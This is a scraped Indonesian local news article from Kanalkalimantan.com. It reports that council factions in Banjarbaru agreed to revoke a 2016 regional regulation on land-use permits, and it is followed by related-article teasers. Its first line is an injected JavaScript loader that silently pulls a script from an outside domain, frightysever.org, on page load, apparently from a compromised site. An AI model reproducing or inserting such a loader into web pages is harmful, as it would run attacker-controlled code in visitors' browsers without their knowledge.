(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tujuh fraksi di DPRD Banjarbaru menyetujui pencabutan Peraturan Daerah (Perda) nomor 6 tahun 2016 yang mengatur tentang Izin Penggunaan Pemanfaatan Tanah (IPPT).
Persetujuan pencabutan Perda yang berganti nama Kesesuaian Kegiatan Pemanfaatan Ruang (KKPR) itu terungkap pada rapat paripurna pandangan umum fraksi-fraksi di DPRD Banjarbaru, Selasa (10/10/2023).
Rapat paripurna dipimpin Ketua DPRD Fadliansyah bersama dua unsur pimpinan dihadiri Wali Kota Banjarbaru HM Aditya Mufti Ariffin bersama Sekretaris Daerah Said Abdullah dan kepala SKPD.
“Fraksi kami menerima pencabutan perda demi kepentingan masyarakat sesuai PP nomor 21 tahun 2021 tentang penyelenggaraan penataan ruang,” ujar juru bicara Fraksi Kesan Nurkhalis Ansyari.
Baca juga: Diduga Berawal Pesan WhatsApp Mesra, Seorang Pemuda Diperas hingga Rp14 Juta
Senada Fraksi Kesan, Ketua Fraksi Partai Golkar Iriansyah Ganie mengatakan, setuju atas pencabutan Perda karena merupakan amanat undang-undang yang harus dilaksanakan Pemerintah Kota Banjarbaru.
“Pencabutan Perda sesuai dengan amanat undang-undang atau bahasa hukumnya mutatis mutandis yang artinya mau tidak mau, senang tidak senang maka harus dilaksanakan,” ucap politisi senior Partai Golkar itu.
Sementara itu, lima fraksi lainnya yakni Fraksi Gerindra, PPP, Nasdem, PKB dan Fraksi PDIP juga menyatakan persetujuan atas pencabutan Perda yang disampaikan masing-masing juru bicara pada rapat paripurna. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
Singapore Exchange Kecolongan, Data Palsu Digunakan untuk IPO Saham Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus dugaan korupsi dari Kabupaten Hulu Sungai Selatan (HSS), Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More
KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More
This website uses cookies.